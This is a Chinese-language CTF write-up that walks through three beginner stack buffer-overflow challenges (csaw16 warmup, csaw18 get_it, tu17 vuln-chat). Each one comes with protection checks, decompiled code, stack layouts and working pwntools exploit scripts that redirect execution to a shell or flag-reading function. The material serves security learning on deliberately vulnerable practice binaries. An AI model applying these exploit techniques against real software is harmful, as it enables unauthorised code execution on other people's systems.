歪脖狗学点二进制(2)
BOF_callfunction
csaw16_warmup
$ checksec warmup
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/05-bof_callfunction/csaw16_warmup/warmup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64 位小端序,No canary,No PIE
IDA反编译
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", easy);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
一眼漏洞点在第11行, 没有进行边界检查, easy是一个命令执行函数( 函数地址为 0x40060d)
int easy()
{
return system("cat flag.txt");
}
覆写返回地址为easy()函数
看看栈结构
-0000000000000080 s db ? -> s[64]
-0000000000000040 var_40 db 64 dup(?) -> v5[64]
+0000000000000000 s db 8 dup(?) -> s
+0000000000000008 r db 8 dup(?) -> r (将该处覆写为easy的地址)
在构造Payload之前, 针对64位程序需要考虑栈对齐( 原理不懂 )
$ ROPgadget --binary warmup --only "ret|pop"
0x00000000004004a1 : ret
exp
from pwn import *
file = "/home/ctfshow/Desktop/myPwn/myNightmare/05-bof_callfunction/csaw16_warmup/warmup"
ip = ""
port = ...
io = process(file)
elf = ELF(file)
system_addr = elf.sym["easy"]
print(hex(system_addr))
# ret = 0x0004006A4
ret = 0x00000000004004a1
payload = b"0" * (0x40 + 0x8) + p64(ret)+ p64(system_addr)
# payload = b"a" * 0x48 + p64(system_addr + 1) # 这个也可以
print(p64(system_addr+ 1))
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()
csaw18_getit
Download Link
检查保护
$ checksec get_it
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/05-bof_callfunction/csaw18_getit/get_it'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位,小端序, No canary, No PIE
IDA反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+10h] [rbp-20h] BYREF
puts("Do you gets it??");
gets(v4);
return 0;
}
第6行存在 栈溢出
危险函数give_shell,地址 0x04005B6
int give_shell()
{
return system("/bin/bash");
}
栈结构
-0000000000000020 var_20 db 32 dup(?) -> v4
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?) -> return ,覆写,返回give_shell的地址
exp
from pwn import *
file = "/home/ctfshow/Desktop/myPwn/myNightmare/05-bof_callfunction/csaw18_getit/get_it"
io = process(file)
elf = ELF(file)
vuln_func_addr = elf.sym["give_shell"]
# print(hex(vuln_func_addr))
ret = 0x0000000000400451
# payload = b"a" * 0x28 + p64(ret) + p64(vuln_func_addr) // 也可以
payload = b"a" * (0x20 + 0x8) + p64(vuln_func_addr + 1)
io.sendline(payload)
io.interactive()
tu17_vulnchat
$ checksec vuln-chat
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/05-bof_callfunction/tu17_vulnchat/vuln-chat'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[20]; // [esp+3h] [ebp-2Dh] BYREF
char v5[20]; // [esp+17h] [ebp-19h] BYREF
char var5[9]; // [esp+2Bh] [ebp-5h] BYREF
setvbuf(stdout, 0, 2, 0x14u);
puts("----------- Welcome to vuln-chat -------------");
printf("Enter your username: ");
strcpy(var5, "%30s"); // 格式化为接受长度为30的字符串
__isoc99_scanf((int)var5, (int)v5);
printf("Welcome %s!\n", v5); // 形如 scanf("%30s",v5);
puts("Connecting to 'djinn'");
sleep(1u);
puts("--- 'djinn' has joined your chat ---");
puts("djinn: I have the information. But how do I know I can trust you?");
printf("%s: ", v5);
__isoc99_scanf((int)var5, (int)v4);
puts("djinn: Sorry. That's not good enough");
fflush(stdout);
return 0;
}
危险函数的地址 : 0804856B,想返回地址改为危险函数的地址即可达到调用函数的效果
看看栈结构
-000000000000002D var_2D db 20 dup(?) -> v4[20]
-0000000000000019 var_19 db ? -> v5[20]
-0000000000000005 var_5 db 8 dup(?) -> var5[9]
+0000000000000004 r db 4 dup(?) -> return addr
根据ida反编译的伪代码可知,输入v5,在输入v4,且接收的长度为30
如果直接用v5来覆盖到 r,则需要发送 (0x19 +0x4 = 29再加上函数地址,共需要29 + 4=33字节),但var_5为%30s,超出
因此可以先输入v5来覆写 var5,修改其长度大于 (0x2D+0x4+4=53即可),然后再输入v4来覆写返回地址为危险函数
exp
from pwn import *
file = "/home/ctfshow/Desktop/myPwn/myNightmare/05-bof_callfunction/tu17_vulnchat/vuln-chat"
io = process(file)
elf = ELF(file)
cat_flag = elf.sym["printFlag"]
print(hex(cat_flag))
payload1 = b'0' * 20 + b"%53s" // 大于53 即可
# io.recvuntil(b"Enter your username: ")
io.sendline(payload1)
payload2 = b'a' * (0x2D + 0x4) + p32(cat_flag)
# io.recvuntil(payload1+b" ")
io.sendline(payload2)
io.interactive()
总结
前两个Challenge都是64位的程序,需要考虑栈对齐(堆栈平衡),但做题的方法也是相较于模板化的,第三个题目就和前俩有些区别了,需要进行两段payload的覆写,先对后进栈的参数进行赋值且对用户输入的值进行了格式化(只接收前30个字符),若想将return出返回目的函数的地址,所需的padding大于30,因此采取先将格式化的格式进行覆写。